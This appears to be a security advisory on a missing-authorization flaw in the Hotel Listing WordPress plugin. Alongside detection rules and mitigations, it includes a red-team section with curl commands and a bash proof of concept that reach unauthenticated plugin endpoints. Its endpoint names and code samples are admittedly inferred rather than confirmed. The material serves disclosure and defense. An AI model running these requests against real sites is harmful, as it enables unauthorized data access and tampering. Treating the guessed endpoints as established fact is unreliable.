CVE-2025-69185

Executive Summary

CVE-2025-69185 is a Missing Authorization vulnerability (CWE-862) in the Hotel Listing WordPress plugin by e-plugins. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access, modification, or privilege escalation. The vulnerability affects all versions up to and including 1.4.2. As of this report, no official patch is available, and the vendor's status is marked as UNKNOWN/UNPATCHED.

The vulnerability is classified as High Severity with a CVSS score of 7.3. The EPSS score is 0.0%, indicating low exploitation probability in the wild at this time, but the risk remains significant due to the lack of authentication requirements.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. WordPress plugins are distributed via the official WordPress Plugin Directory or third-party marketplaces. The supply chain risk includes:

• Compromised updates: If the vendor's repository is compromised, malicious code could be injected into future updates.
• Dependency risk: The plugin may rely on other libraries or themes that could introduce additional vulnerabilities.
• No patch available: Users are currently exposed with no official remediation from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High. The combination of network exploitability, no authentication, and low complexity makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the Hotel Listing plugin's REST API endpoints or AJAX handlers. WordPress plugins often expose actions via admin-ajax.php or custom REST routes. In this case, the plugin fails to verify user capabilities before executing sensitive operations.

Root Cause Analysis:

• The plugin likely registers custom REST API routes or AJAX actions without implementing current_user_can() or wp_verify_nonce() checks.
• Attackers can send crafted HTTP requests to these endpoints to perform actions such as:
  • Listing, creating, editing, or deleting hotel listings.
  • Accessing private or draft listings.
  • Modifying plugin settings or metadata.

Attack Flow:

1. Attacker identifies the vulnerable plugin version via fingerprinting (e.g., reading plugin version from readme.txt or source code).
2. Attacker sends a direct HTTP request to the vulnerable endpoint (e.g., /wp-json/hotel-listing/v1/listings or admin-ajax.php?action=hotel_listing_edit).
3. The server processes the request without verifying the user's role or permissions.
4. Attacker retrieves or modifies data as desired.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet might look like:

Vulnerable Code (PHP):

add_action('wp_ajax_nopriv_hotel_listing_edit', 'hotel_listing_edit_callback');
function hotel_listing_edit_callback() {
    // Missing capability check
    $listing_id = $_POST['listing_id'];
    update_post_meta($listing_id, 'hotel_price', $_POST['price']);
    wp_send_json_success('Updated');
}

Patched Code (Hypothetical):

add_action('wp_ajax_hotel_listing_edit', 'hotel_listing_edit_callback');
add_action('wp_ajax_nopriv_hotel_listing_edit', 'hotel_listing_edit_callback');
function hotel_listing_edit_callback() {
    // Added capability check
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'hotel_listing_edit_nonce')) {
        wp_die('Nonce failed', 403);
    }
    $listing_id = intval($_POST['listing_id']);
    update_post_meta($listing_id, 'hotel_price', sanitize_text_field($_POST['price']));
    wp_send_json_success('Updated');
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Hotel Listing plugin <= 1.4.2 installed and activated.
• Network access to the target.

Exploitation Steps:

1. Fingerprint the plugin:

   curl -s http://target/wp-content/plugins/hotel-listing/readme.txt | grep "Stable tag"
   

2. Identify vulnerable endpoints:
   • Check for REST API routes: http://target/wp-json/hotel-listing/v1/
   • Check for AJAX actions: Look in plugin source for wp_ajax_* hooks.
3. Exploit missing authorization:

   # Example: List all hotel listings (assuming REST endpoint)
   curl -X GET http://target/wp-json/hotel-listing/v1/listings
   
   # Example: Create a new listing via AJAX
   curl -X POST http://target/wp-admin/admin-ajax.php \
     -d "action=hotel_listing_create&title=Malicious+Hotel&price=999"
   

Proof of Concept (PoC):

#!/bin/bash
# CVE-2025-69185 PoC - Unauthenticated Listing Access
TARGET="http://target-site.com"
echo "[*] Checking for Hotel Listing plugin..."
curl -s "$TARGET/wp-content/plugins/hotel-listing/readme.txt" | grep -i "stable tag"
echo "[*] Attempting to fetch all listings without auth..."
curl -s "$TARGET/wp-json/hotel-listing/v1/listings" | jq .

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual HTTP requests to /wp-json/hotel-listing/ or admin-ajax.php with action=hotel_listing_* parameters.
• Look for requests from unauthenticated users (no wordpress_logged_in_* cookie) to these endpoints.
• Alert on 200 responses to these endpoints from non-admin IPs.

Defense:

• Immediate: Disable the plugin until a patch is available.
• WAF Rules: Block requests to /wp-json/hotel-listing/* and admin-ajax.php with action=hotel_listing_* from unauthenticated users.
• Network Segmentation: Restrict access to wp-admin and wp-json endpoints to trusted IPs if possible.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-json/hotel-listing/v1/* without authentication cookies.
• POST requests to /wp-admin/admin-ajax.php with action=hotel_listing_* parameters.
• Unusual POST data containing listing_id, hotel_price, or hotel_title fields.

File IOCs:

• Modified or new hotel listing posts created by unknown users.
• Plugin files with unexpected modifications (check file integrity).

Log IOCs:

• Apache/Nginx access logs showing 200 responses to /wp-json/hotel-listing/v1/* from non-admin IPs.
• WordPress debug logs showing wp_ajax_nopriv_hotel_listing_* actions.

Detection Engineering

YARA Rule

rule CVE_2025_69185_Hotel_Listing_Plugin {
    meta:
        description = "Detects vulnerable Hotel Listing plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69185"
    strings:
        $vuln_func = "wp_ajax_nopriv_hotel_listing_" nocase
        $missing_check = "current_user_can" nocase
    condition:
        $vuln_func and not $missing_check
}

Sigma Rule

title: CVE-2025-69185 - Hotel Listing Plugin Unauthenticated Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to Hotel Listing plugin endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=hotel_listing_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-69185 - Hotel Listing Plugin Unauthenticated Access";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin-ajax.php";
    http_uri;
    content:"action=hotel_listing_";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-69185;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Implement virtual patching via WAF rules to block unauthenticated requests to plugin endpoints.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Since no patch is available, consider:
  • Forking the plugin and adding proper authorization checks (see patched code example).
  • Migrating to an alternative hotel listing plugin with active security maintenance.
  • Contacting the vendor to request a security update.

Workarounds:

• Use a WordPress security plugin (e.g., Wordfence, Sucuri) to add firewall rules.
• Restrict access to wp-admin and wp-json via .htaccess:

  <IfModule mod_rewrite.c>
      RewriteEngine On
      RewriteCond %{REQUEST_URI} ^/wp-json/hotel-listing/ [NC]
      RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_ [NC]
      RewriteRule .* - [F,L]
  </IfModule>
  

Valters IT
DevSecOps & Cyber Threat Intelligence